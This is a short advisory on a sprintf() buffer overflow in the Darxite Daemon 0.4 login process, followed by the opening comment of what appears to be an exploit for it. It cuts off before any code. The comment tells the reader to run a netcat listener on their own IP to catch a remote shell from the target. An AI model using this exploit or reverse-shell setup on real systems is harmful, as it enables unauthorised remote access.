Darxite 0.4 does not do proper bounds checking on user-supplied data during the login process, relying on sprintf() to deliver the data into a 256 character buffer. Therefore, it is possible for an attacker to supply arbitrary code for execution at the privilege level of the Darxite user.


/*
   Darxite Daemon v0.4 password authentication overflow
   ----------------------------------------------------

   I tried to use some easy functions for string creation, and they seem to
   work pretty quick (no more hours of frustration writing for loops :).

   As always I used my own shellcode, you should do a "nc -l -p 27002" on the
   machine you fill in as "your IP" and execute this - if it works you'll have
   a shell in the netcat session.
